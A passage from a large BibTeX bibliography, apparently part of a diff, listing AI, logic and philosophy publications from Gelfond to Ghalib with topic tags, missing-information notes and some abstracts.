title = {A Theory of Concurrent Actions: Preliminary Report}, + year = {1988}, + month = {December}, + note = {Unpublished manuscript.}, + topic = {concurrency;action;} + } + +@unpublished{ gelfond-etal:1988b, + author = {Michael Gelfond and Halina Przymusinska and Teodor + Przymusinski}, + title = {On the Relationship between {CWA}, Minimal Model + and Minimal {H}erbrand Model Semantics}, + year = {1988}, + note = {Unpublished manuscript.}, + topic = {nonmonotonic-logic;closed-world-reasoning;minimal-models;} + } + +@unpublished{ gelfond-lifschitz:1988a, + author = {Michael Gelfond and Vladimir Lifschitz}, + title = {A Theory of Concurrent Actions: Preliminary Report}, + year = {1988}, + month = {December}, + note = {Unpublished MS, Computer Science Department, University of Texas + at El Paso.}, + topic = {concurrent-actions;} + } + +@inproceedings{ gelfond-lifschitz:1988b, + author = {Michael Gelfond and Vladimir Lifschitz}, + title = {The Stable Model Semantics for Logic Programming}, + booktitle = {Proceedings of the Fifth International Conference on + Logic Programming}, + year = {1988}, + editor = {Robert A. Kowalski and Kenneth Bowen}, + pages = {1070--1080}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + topic = {logic-programming;stable-models;nonmonotonic-logic;} + } + +@unpublished{ gelfond-lifschitz:1988c, + author = {Michael Gelfond and Vladimir Lifschitz}, + title = {Compiling Circumscriptive Theories into Logic Programs}, + year = {1988}, + note = {Unpublished manuscript, Computer Science Department, University of + Texas at El Paso, El Paso, TX 79968.}, + topic = {circumscription;logic-programming;} + } + +@unpublished{ gelfond-przymusinska:1988a, + author = {Michael Gelfond and Halina Przymusinska}, + title = {Inheritance Hierarchies and Autoepistemic Logic}, + year = {1988}, + note = {Unpublished MS, Computer Science Department, University of + Texas at El Paso, El Paso, TX 79968.}, + topic = {inheritance-theory;autoepistemic-logic;} + } + +@unpublished{ gelfond-przymusinska:1988b, + author = {Michael Gelfond and Halina Przymusinska}, + title = {Inheritance Reasoning in Autoepistemic Logic}, + year = {1988}, + note = {Unpublished MS, Computer Science Department, University of + Texas at El Paso, El Paso, TX 79968.}, + missinginfo = {Year is a guess.}, + topic = {inheritance-theory;autoepistemic-logic;} + } + +@unpublished{ gelfond-przymusinska:1988c, + author = {Michael Gelfond and Halina Przymusinska}, + title = {On the Relationship between {CWA}, Minimal + Model and Minimal {H}erbrand Model Semantics}, + year = {1988}, + note = {Unpublished MS, Computer Science Department, University of + Texas at El Paso, El Paso, TX 79968.}, + topic = {closed-world-reasoning;nonmonotonic-loguc;} + } + +@inproceedings{ gelfond-przymusinska:1989a, + author = {Michael Gelfond and Halina Przymusinska}, + title = {Inheritance Reasoning in Autoepistemic Logic}, + booktitle = {Methodologies for Intelligent Systems}, + year = {1989}, + editor = {Zbigniew Ras}, + pages = {419--429}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {inheritance-theory;autoepistemic-logic;} + } + +@unpublished{ gelfond-przymusinska:1989b, + author = {Michael Gelfond and Halina Przymusinska}, + title = {Inheritance Reasoning with Maximum Power Principle}, + year = {1989}, + note = {Unpublished manuscript, University of Texas at El Paso.}, + topic = {inheritance-theory;} + } + +@article{ gelfond-przymusinska:1990a, + author = {Michael Gelfond and Halina Przymusinska}, + title = {Formalization of Inheritance Reasoning in Autoepistemic + Logic}, + journal = {Fundamenta Informaticae}, + year = {1990}, + volume = {13}, + pages = {403--443}, + missinginfo = {number}, + topic = {inheritance-theory;autoepistemic-logic;} + } + +@incollection{ gelfond-etal:1991a, + author = {Michael L. Gelfond and Halina Przymusinska and Vladimir + Lifschitz and Miroslaw Truszczy\'nski}, + title = {Disjunctive Defaults}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {230--237}, + address = {San Mateo, California}, + topic = {kr;kr-course;default-logic;} + } + +@incollection{ gelfond-etal:1991b, + author = {Michael Gelfond and Vladimir Lifschitz and Arkady Rabinov}, + title = {What are the Limitations of the Situation Calculus?}, + booktitle = {Automated Reasoning: Essays in Honor of {W}oody {B}ledsoe}, + publisher = {Kluwer Academic Publishers}, + year = {1991}, + editor = {Robert Boyer}, + pages = {167--179}, + address = {Dordrecht}, + topic = {action-formalisms;temporal-reasoning;concurrent-actions; + foundations-of-planning;situation-calculus; + temporal-reasoning;} + } + +@article{ gelfond-lifschitz:1991a, + author = {Michael Gelfond and Vladimir Lifschitz}, + title = {Classical Negation in Logic Programs and Disjunctive + Databases}, + journal = {New Generation Computing}, + year = {1991}, + pages = {365--385}, + missinginfo = {volume.number}, + topic = {logic-programming;negation;} + } + +@inproceedings{ gelfond-lifschitz:1992a, + author = {Michael Gelfond and Vladimir Lifschitz}, + title = {Describing Action and Change by Logic Programs}, + booktitle = {Proceedings of the Joint International Conference and + Symposium of Logic Programming}, + year = {1992}, + missinginfo = {editor, org, pages, conf info, publisher, address, + topic specs}, + topic = {action;} + } + +@inproceedings{ gelfond-lifschitz:1992b, + author = {Michael Gelfond and Vladimir Lifschitz}, + title = {Representing Actions in Extended Logic Programs}, + booktitle = {International Conference on Logic Programming}, + year = {1992}, + pages = {559--573}, + topic = {action;extended-logic-programming;} + } + +@article{ gelfond-lifschitz:1993a, + author = {Michael Gelfond and Vladimir Lifschitz}, + title = {Representing Action and Change by Logic Programs}, + journal = {Journal of Logic Programming}, + year = {1993}, + volume = {17}, + number = {2,3,4}, + pages = {301--323}, + topic = {logic-programming;action-formalisms;} + } + +@article{ gelfond:1994a, + author = {Michael Gelfond}, + title = {Logic Programming and Reasoning with Incomplete Information}, + journal = {Annals of Mathematics and Artificial Intelligence}, + year = {1994}, + volume = {12}, + pages = {89--116}, + missinginfo = {number}, + topic = {logic-programming;reasoning-about-uncertainty;} + } + +@incollection{ gelfond-etal:1994a, + author = {Michael Gelfond and Vladimir Lifschitz and Halina + Przymusinska and Grigori Schwartz}, + title = {Autoepistemic Logic and Introspective Circumscription}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {197--207}, + address = {San Francisco}, + topic = {nonmonotonic-logic;circumscription;autoepistemic-logic;} + } + +@article{ gelfond:1998a, + author = {Michael Gelfond}, + title = {Review of {\it Solving the Frame Problem}, by + {M}urray {S}hanahan}, + journal = {Journal of Symbolic Logic}, + year = {1998}, + volume = {63}, + number = {3}, + pages = {1186--1188}, + xref = {Review of: shanahan:1997a.}, + topic = {kr;temporal-reasoning;frame-problem;krcourse;} + } + +@article{ gelfond-lifschitz:1998a, + author = {Michael Gelfond and Vladimir Lifschitz}, + title = {Action Languages}, + journal = {Electronic Transactions on {AI}}, + year = {1998}, + volume = {3}, + note = {Available at http://www.ep.liu.se/rs/cis/1998/016/}, + topic = {action-formalisms;} + } + +@incollection{ gelfond-san_tc:1998a, + author = {Michael Gelfond and Tran Cao San}, + title = {Reasoning with Prioritized Defaults}, + booktitle = {Logic Programming and Knowledge Representation}, + publisher = {Springer-Verlag}, + year = {1998}, + editor = {J\"urgen Dix and Lu\'is Moniz Pereira and Teodor C. + Przymusinski}, + pages = {164--224}, + address = {Berlin}, + topic = {nonmonotonic-prioritization;nonmonotonic-logic; + logic-programming;stable-models;} + } + +@book{ gelfond-etal:1999a, + editor = {Michael Gelfond and Nicola Leone and Gerald Pfeifer}, + title = {Logic Programming and Nonmonotonic Reasoning: Proceedings + of the 5th International Conference, LPNMR '99, El Paso, + Texas, December 2--4, 1999}, + publisher = {Springer-Verlag}, + year = {1999}, + address = {Berlin}, + ISBN = {3-540-66749-0 (Softcover)}, + contentnote = {Blurb: + This book constitutes the refereed proceedings of the 5th + International Conference on Logic Programming and Nonmonotonic + Reasoning, LPNMR '99, held in El Paso, Texas, USA, in December + 1999. The volume presents 26 contributed papers and four + invited talks, three appearing as extended abstracts and one as + a full paper. Topics covered include logic programming, + non-monotonic reasoning, knowledge representation, semantics, + complexity, expressive power, and implementation and + applicatons. } , + topic = {logic-programming;nonmonotonic-logic;} + } + +@unpublished{ gelfond:2001a, + author = {Michael Gelfond}, + title = {Representing Knowledge in A-Prolog}, + year = {2001}, + note = {Unpublished manuscript, Texas Tech University}, + contentnote = {"A-Prolog" is logic programming with the stable + models / answer set semantics.}, + topic = {kr;logic-programming;nonmonotonic-logic;planning-formalisms; + stable-models;} + } + +@unpublished{ gelfond-etal:2002a, + author = {Michael Gelfond and Marcello Balduccini and Joel Galloway}, + title = {Diagnosing Physical Systems in {A}-Prolog}, + year = {2002}, + note = {Unpublished manuscript, Texas Tech University}, + topic = {diagnosis;logic-programming;stable-models;} + } + +@article{ gelfond-leone:2002a, + author = {Michael Gelfond and Nicola Leone}, + title = {Logic Programming and Knowledge Representation---The {A}-Prolog + Perspective}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {138}, + number = {1--2}, + pages = {3--38}, + topic = {kr;logic-programming;Prolog;} + } + +@incollection{ gelman-etal:1991a, + author = {Rochel Gelman and Christine M. Massey and Mary + McManus}, + title = {Characterizing Supporting Environments for + Cognitive Development: Lessons from Children in a + Museum}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {226--256}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@article{ gelperin:1977a, + author = {David Gelperin}, + title = {On the Optimality of A*}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {1}, + pages = {69--76}, + topic = {search;AI-algorithms-analysis;A*-algorithm;optimality;} + } + +@article{ gelsey:1995a, + author = {Andrew Gelsey}, + title = {Automated Reasoning about Machines}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {1}, + pages = {1--53}, + acontentnote = {Abstract: + Numerical simulation is often used in predicting machine + behavior, a basic capability for many tasks such as design and + fault diagnosis. However, using simulators requires considerable + human effort both to create behavioral models and to analyze and + understand simulation results. I describe algorithms which + automate the kinematic and dynamical analysis needed to create + behavioral models and which automate the intelligent control of + computational simulations needed to understand a machine's + behavior over both short and long time scales. The input is a + description of a machine's geometry and material properties, and + the output is a behavioral model for the machine and a concise + qualitative/quantitative prediction of the machine's long-term + behavior. My algorithms have been implemented in a working + program which can predict a machine's behavior over both short + and long time periods. At present this work is limited to + mechanical devices, particularly clockwork mechanisms.}, + topic = {device-modeling;dynamic-systems;} + } + +@article{ gelsey-etal:1998a, + author = {Andrew Gelsey and Mark Schwabacher and Don Smith}, + title = {Using Modeling Knowledge to Guide Design Space + Search}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {35--62}, + topic = {computer-aided-design;} + } + +@article{ gemes:1994a, + author = {Ken Gemes}, + title = {A New Theory of Content {I}: Basic Content}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {6}, + pages = {596--620}, + contentnote = {An attempt to produce a more useful account of + the content of a formula for use in philosophy of science, + e.g. in the theory of confirmation or verisimilitude. The + notion of content as set of consequences implies that any + two formulas overlap in content. This approach uses classical + logic and is language-dependent, i.e. uses the notion of an + atomic formula.}, + topic = {logical-content;} + } + +@article{ gemes:1994b, + author = {Ken Gemes}, + title = {Explanation, Unification, and Content}, + journal = {No\^us}, + year = {1994}, + volume = {28}, + pages = {225--240}, + missinginfo = {number}, + topic = {logical-content;explanation;} + } + +@article{ gemes:1997a, + author = {Ken Gemes}, + title = {A New Theory of Content {II}: Model Theory and Some + Alternatives}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {4}, + pages = {449--476}, + topic = {logical-content;} + } + +@incollection{ genesereth:1982a, + author = {Michael Genesereth}, + title = {The Role of Plans in Intelligent Teaching Systems}, + booktitle = {Intelligent Tutoring Systems}, + publisher = {Academic Press}, + year = {1982}, + editor = {Derek H. Sleeman and John Seely Brown}, + pages = {137--155}, + address = {New York}, + topic = {plan-recognition;} + } + +@article{ genesereth:1984a, + author = {Michael R. Genesereth}, + title = {The Use of Design Descriptions in Automated Diagnosis}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {24}, + number = {1--3}, + pages = {411--436}, + topic = {qualitative-physics;qualitative-reasoning;diagnosis;} + } + +@book{ genesereth-nilsson_nj:1987a, + author = {Michael Genesereth and Nils J. Nilsson}, + title = {Logical Foundations of Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1987}, + address = {San Mateo, California}, + xref = {Reviews: smoliar:1989a, sowa:1989a. Response to reviews: + nilsson_nj:1989a.}, + topic = {kr;AI-intro;AI-and-logic;kr-course;} + } + +@incollection{ genesereth:1991a, + author = {Michael R. Genesereth}, + title = {Knowledge Interchange Format}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {599--600}, + address = {San Mateo, California}, + contentnote = {This is a position statement, prepared in connection + with a conference panel. There is no bibliography.}, + topic = {kr;kr-course;knowledge-sharing;} + } + +@incollection{ genesereth-hsu:1991a, + author = {Michael Genesereth and Jane Yungjen Hsu}, + title = {Partial Programs}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {238--249}, + address = {San Mateo, California}, + topic = {kr;kr-course;constraint-programming;} + } + +@techreport{ genesereth-fikes:1992a, + author = {Michael R. Genesereth and Richard E. Fikes}, + title = {Knowledge Interchange Format, Version 0.3}, + institution = {Knowledge Systems Laboratory, Stanford University}, + year = {1992}, + address = {Stanford, California}, + topic = {computational-ontology;} + } + +@article{ genesereth:1993a, + author = {Michael R. Genesereth}, + title = {From {D}art to {D}esignworld: A Chronicle + of Research on Automated Engineering in the {S}tanford + Logic Group}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {159--165}, + topic = {diagnosis;automated-engineering;} + } + +@incollection{ genesereth:1996a, + author = {Michael R. Genesereth}, + title = {Mc{C}arthy's Idea}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {134--142}, + address = {Berlin}, + topic = {J-McCarthy;} + } + +@article{ gennari-etal:1989a, + author = {John H. Gennari and Pat Langley and Doug Fisher}, + title = {Models of Incremental Concept Formation}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {40}, + number = {1--3}, + pages = {11--61}, + acontentnote = {Abstract: + Given a set of observations, humans acquire concepts that + organize those observations and use them in classifying future + experiences. This type of concept formation can occur in the + absence of a tutor and it can take place despite irrelevant and + incomplete information. A reasonable model of such human concept + learning should be both incremental and capable of handling the + type of complex experiences that people encounter in the real + world. In this paper, we review three previous models of + incremental concept formation and then present CLASSIT, a model + that extends these earlier systems. All of the models integrate + the process of recognition and learning, and all can be viewed + as carrying out search through the space of possible concept + hierarchies. In an attempt to show that CLASSIT is a robust + concept formation system, we also present some empirical studies + of its behavior under a variety of conditions.}, + topic = {machine-learning;concept-learning;concept-formation;} + } + +@article{ gent-walsh:1994a, + author = {Ian P. Gent and Toby Walsh}, + title = {Easy Problems are sometimes hard}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + number = {1--2}, + pages = {335--345}, + acontentnote = {Abstract: + We present a detailed experimental investigation of the + easy-hard-easy phase transition for randomly generated instances + of satisfiability problems. Problems in the hard part of the + phase transition have been extensively used for benchmarking + satisfiability algorithms. This study demonstrates that problem + classes and regions of the phase transition previously thought + to be easy can sometimes be orders of magnitude more difficult + than the worst problems in problem classes and regions of the + phase transition considered hard. These difficult problems are + either hard unsatisfiable problems or are satisfiable problems + which give a hard unsatisfiable subproblem following a wrong + split. Whilst these hard unsatisfiable problems may have short + proofs, these appear to be difficult to find, and other proofs + are long and hard.}, + topic = {computational-phase-transitions; + experiments-on-theorem-proving-algs;} + } + +@article{ gent-walsh:1996a, + author = {Ian P. Gent and Toby Walsh}, + title = {The Satisfiability Constraint Gap}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {59--80}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@article{ gent-walsh:1996b, + author = {Ian P. Gent and Toby Walsh}, + title = {The {TSP} Phase Transition}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {349--358}, + topic = {computational-phase-transitions;} + } + +@article{ gent-walsh_t:1999a, + author = {Ian P. Gent and Toby Walsh}, + title = {Review of {\it Empirical Methods for Artificial + Intelligence}, by {P}aul {R}. {C}ohen}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {285--290}, + xref = {Review of: cohen_pr2:1995a.}, + topic = {experimental-AI;} + } + +@article{ gent-etal:2000a, + author = {Ian Gent and Kostas Stergiou and Toby Walsh}, + title = {Decomposable Constraints}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {133--156}, + topic = {constraint-satisfaction;search;arc-(in)consistency;} + } + +@article{ gentzen:1934a, + author = {Gerhard Gentzen}, + title = {Untersuchungen {\"u}ber das Logische Schliessen}, + journal = {Mathematische Zeitschrift}, + volume = {39}, + year = {1934}, + pages = {176--210}, + xref = {English translation (as ``Investigations into logical + deduction'') in szabo_me:1969a, pages 68--131.}, + topic = {proof-theory;logic-classics;} + } + +@article{ gentzen:1965a, + author = {Gerhard Gentzen}, + title = {Investigations into Logical Deduction {II}}, + journal = {American Philosophical Quarterly}, + year = {1965}, + volume = {2}, + number = {3}, + pages = {204--218}, + note = {Originally published in 1935. (Translated by M. Szabo.)}, + topic = {proof-theory;cut-free-deduction;logic-classics;} + } + +@article{ georgacarakos:1979a, + author = {G.N. Georgacarakos}, + title = {Orthomodularity and Relevance}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {4}, + pages = {415--432}, + topic = {quantum-logic;relevance-logic;} + } + +@article{ georgalis:1989a, + author = {Nicholas Georgalis}, + title = {Review of {\it Foundations of Illocutionary + Logic}, by {J}ohn {R}. {S}earle and {D}aniel + {V}andervecken}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {6}, + xref = {Review of searle-vandervecken:1985a.}, + pages = {745--748}, + topic = {speech-acts;pragmatics;} + } + +@article{ georgatos:1997a, + author = {Konstantinos Georgatos}, + title = {Knowledge on Treelike Spaces}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {2}, + pages = {271--301}, + topic = {epistemic-logic;branching-time;} + } + +@article{ george_a:1988a, + author = {Alexander George}, + title = {The Conveyability of Intuitionism, an Essay on + Mathematical Cognition}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {2}, + pages = {133--156}, + topic = {foundations-of-mathematics;philosophy-of-mathematics; + intuitionism;} + } + +@book{ george_a:1989a, + editor = {Alexander George}, + title = {Reflections On {C}homsky}, + publisher = {Basil Blackwell Publishers}, + year = {1989}, + address = {Oxford}, + ISBN = {0631159762}, + topic = {Chomsky;nl-syntax;philosophy-of-linguistics;} + } + +@article{ george_a-velleman:2000a, + author = {Alexander George and Daniel Velleman}, + title = {Leveling the Playing Field between Mind and Machine: + A Reply to {M}cC{a}ll}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {8}, + pages = {456--461}, + xref = {Comment on mccall:1999a.}, + topic = {philosophy-of-computation;goedels-first-theorem;} + } + +@article{ george_r:1983a, + author = {Rolf George}, + title = {A Postscript on Fallacies}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {3}, + pages = {319--325}, + topic = {Bolzano;fallacies;} + } + +@article{ george_r:1988a, + author = {Rolf George}, + title = {Bolzano's Consequence, Relevance, and Enthymemes}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {3}, + pages = {299--318}, + topic = {Bolzano;logical-consequence;} + } + +@article{ georgeff:1982a, + author = {Michael P. Georgeff}, + title = {Procedural Control in Production Systems}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {2}, + pages = {175--201}, + topic = {rule-based-reasoning;procedural-control;} + } + +@article{ georgeff:1983a, + author = {Michael P. Georgeff}, + title = {Strategies in Heuristic Search}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {4}, + pages = {393--425}, + topic = {search;} + } + +@techreport{ georgeff-bodnar:1984a, + author = {Michael Georgeff and Stephen Bodnar}, + title = {A Simple and Efficient Implementation of Higher-Order + Functions in {\sc lisp}}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI--84--19}, + year = {1984}, + address = {Stanford, CA}, + topic = {higher-order-programming-constructs;} + } + +@techreport{ georgeff-lansky:1985a, + author = {Michael P. Georgeff and Amy L. Lansky}, + title = {A System for Reasoning in Dynamic + Domains: Fault Diagnosis on the Space Shuttle}, + institution = {SRI International}, + number = {375}, + year = {1985}, + topic = {diagnosis;temporal-reasoning;} + } + +@article{ georgeff-lansky:1985b, + author = {Michael Georgeff and Amy Lansky}, + title = {Procedural Knowledge}, + journal = {Proceedings of the {IEEE} Special Issue on Knowledge + Representation}, + year = {1985}, + pages = {1383--1398}, + missinginfo = {Volume? Is information in right form? Check this issue + for KR.}, + topic = {knowing-how;kr-course;} + } + +@inproceedings{ georgeff:1986a, + author = {Michael Georgeff}, + title = {The Representation of Events in Multiagent Domains}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + pages = {70--75}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {editors, checkpub}, + topic = {concurrent-actions;} + } + +@incollection{ georgeff:1986b, + author = {Michael P. Georgeff}, + title = {Actions, Processes, and Causality}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {99--122}, + address = {Los Altos, California}, + topic = {action;causality;action-effects;concurrent-action;} + } + +@techreport{ georgeff-etal:1986a, + author = {Michael Georgeff and Amy Lansky and M. Schoppers}, + title = {Reasoning and Planning in Dynamic Domains: An Experiment + with a Mobile Robot}, + number = {380}, + institution = {AI Center, SRI International}, + year = {1986}, + topic = {planning;robotics;} + } + +@book{ georgeff-lansky:1986b, + editor = {Michael P. Georgeff and Amy Lansky}, + title = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + address = {Los Altos, California}, + topic = {action;action-formalisms;foundations-of-planning;planning;} + } + +@inproceedings{ georgeff:1987a, + author = {Michael Georgeff}, + title = {Many Agents Are Better Than One}, + booktitle = {The Frame Problem in Artificial Intelligence: Proceedings + of the 1987 Workshop}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Frank M. Brown}, + pages = {59--75}, + address = {Los Altos, California}, + topic = {kr;frame-problem;concurrence;causality;} + } + +@book{ georgeff:1991a, + editor = {Michael Georgeff}, + title = {Proceedings of the {IJCAI-91} Workshop on + Theoretical and Practical Design of Rational Agents}, + year = {1991}, + topic = {agent-architectures;} + } + +@inproceedings{ georgeff-rao:1995a, + author = {Michael Georgeff and Anand Rao}, + title = {The Semantics of Intention Maintenance for Rational Agents}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {704--710}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {foundations-of-planning;intention-maintenance;} + } + +@article{ gerbrandy-groeneveld:1997a, + author = {Jelle Gerbrandy and Willem Groeneveld}, + title = {Reasoning about Information Change}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {2}, + pages = {147--169}, + topic = {dynamic-logic;multiagent-epistemic-logic;} + } + +@incollection{ gereveni-schubert:1994a, + author = {Alfonso Gereveni and Lenhart Schubert}, + title = {An Efficient Method for Managing Disjunctions in Qualitative + Temporal Reasoning}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {214--225}, + address = {San Francisco, California}, + xref = {See gerevini-schubert:1995a.}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@inproceedings{ gerevini-schubert:1993a, + author = {Alfonso Gerevini and Lenhart Schubert}, + title = {Efficient Temporal Reasoning Through Timegraphs}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {648--654}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + xref = {See gerevini-schubert:1995a.}, + topic = {temporal-reasoning;qualitative-reasoning;} + } + +@article{ gerevini-schubert:1994b, + author = {Alfonso Gerevini and Lenhart Schubert}, + title = {On Point-Based Temporal Disjointness}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + number = {1--2}, + pages = {347--361}, + acontentnote = {Abstract: + We address the problems of determining consistency and of + finding a solution for sets of three-point relations expressing + exclusion of a point from an interval, and for sets of + four-point relations expressing interval disjointness. + Availability of these relations is an important requirement for + dealing with the sorts of temporal constraints encountered in + many AI applications such as plan reasoning. We prove that + consistency testing is NP-complete and finding a solution is + NP-hard.}, + topic = {complexity-in-AI;interval-logic;} + } + +@article{ gerevini-schubert:1995a, + author = {Alfonso Gerevini and Lenhart Schubert}, + title = {Efficient Algorithms for Qualitative Reasoning about Time}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {2}, + pages = {207--248}, + topic = {kr;temporal-reasoning;qualitative-reasoning;kr-course;} + } + +@incollection{ gerevini:1997a, + author = {Alfonso Gerevini}, + title = {Reasoning about Time and Actions in {A}rtificial + {I}ntelligence: Major Issues}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {43--70}, + address = {Dordrecht}, + topic = {temporal-reasoning;foundations-of-planning;actions; + action-formalisms;} + } + +@article{ gerevini-renz:2002a, + author = {Alfonso Gerevini and Jochen Renz}, + title = {Combining Topological and Size Information for Spatial + Reasoning}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {137}, + number = {1--2}, + pages = {1--42}, + topic = {spatial-reasoning;constraint-based-reasoning; + constraint-satisfaction;complexity-in-AI;} + } + +@article{ gerla:1994a, + author = {Giangiacomo Gerla}, + title = {Inferences in Probability Logic}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + number = {1--2}, + pages = {33--52}, + topic = {probability-semantics;} + } + +@incollection{ german:1995a, + author = {Alan M. Leslie and Tim P. German}, + title = {Knowledge and Ability in `Theory of Mind': One-Eyed + Overview of a Debate}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {123--150}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@article{ gerrig-healy:1983a, + author = {R.J. Gerrig and A.F. Healy}, + title = {Dual Processes in Metaphor Understanding: Comprehension and + Appreciation}, + journal = {Journal of Experimental Psychology: Learning, Memory, and + Cognition}, + year = {1983}, + volume = {9}, + pages = {667--675}, + missinginfo = {A's 1st name, number}, + topic = {metaphor;cognitive-psychology;} + } + +@incollection{ gerstl:1995a, + author = {Peter Gerstl}, + title = {Word Meaning Between Lexical and Conceptual Structure}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {185--206}, + address = {Cambridge, England}, + topic = {computational-lexical-semantics;nl-kr;} + } + +@article{ gert:1998a, + author = {Heather J. Gert}, + title = {Review of {\it Coming to Our Senses: A Naturalistic + Program for Semantic Localism}, by {M}ichael {D}evitt}, + journal = {Philosophical Review}, + year = {1998}, + volume = {107}, + number = {1}, + pages = {123--125}, + xref = {Review of devitt:1995a.}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@article{ gerts:2000a, + author = {Bart Gerts}, + title = {Indefinites and Choice Functions}, + journal = {Linguistic Inquiry}, + year = {2000}, + volume = {31}, + number = {4}, + pages = {731--738}, + topic = {epsilon-operator;indefiniteness;} + } + +@article{ gettier:1963a, + author = {Edmund Gettier}, + title = {Is Justified True Belief Knowledge?}, + journal = {Analysis}, + year = {1963}, + volume = {23}, + pages = {121--123}, + topic = {belief;analytic-philosophy;epistemic-logic;belief; + philosophy-of-belief;} +} + +@article{ geurts:1996a, + author = {Bart Geurts}, + title = {Local Satisfaction Guaranteed: A Presupposition Theory and + Its Problems}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {3}, + pages = {259--294}, + topic = {presupposition;pragmatics;accommodation;} + } + +@article{ geurts:1998a, + author = {Bart Geurts}, + title = {Presuppositions and Anaphors in Attitude Contexts}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {6}, + pages = {545--601}, + topic = {presupposition;anaphora;propositional-attitudes;} + } + +@book{ geurts:1999a, + author = {Bart Geurts}, + title = {Presuppositions and Pronouns}, + publisher = {Elsevier}, + year = {1999}, + address = {Amsterdam}, + ISBN = {0080435920}, + topic = {presupposition;anaphora;} + } + +@inproceedings{ ghalib-alaoui:1989a, + author = {Malik Ghalib and Mounir Alaoui}, + title = {Managing Efficiently 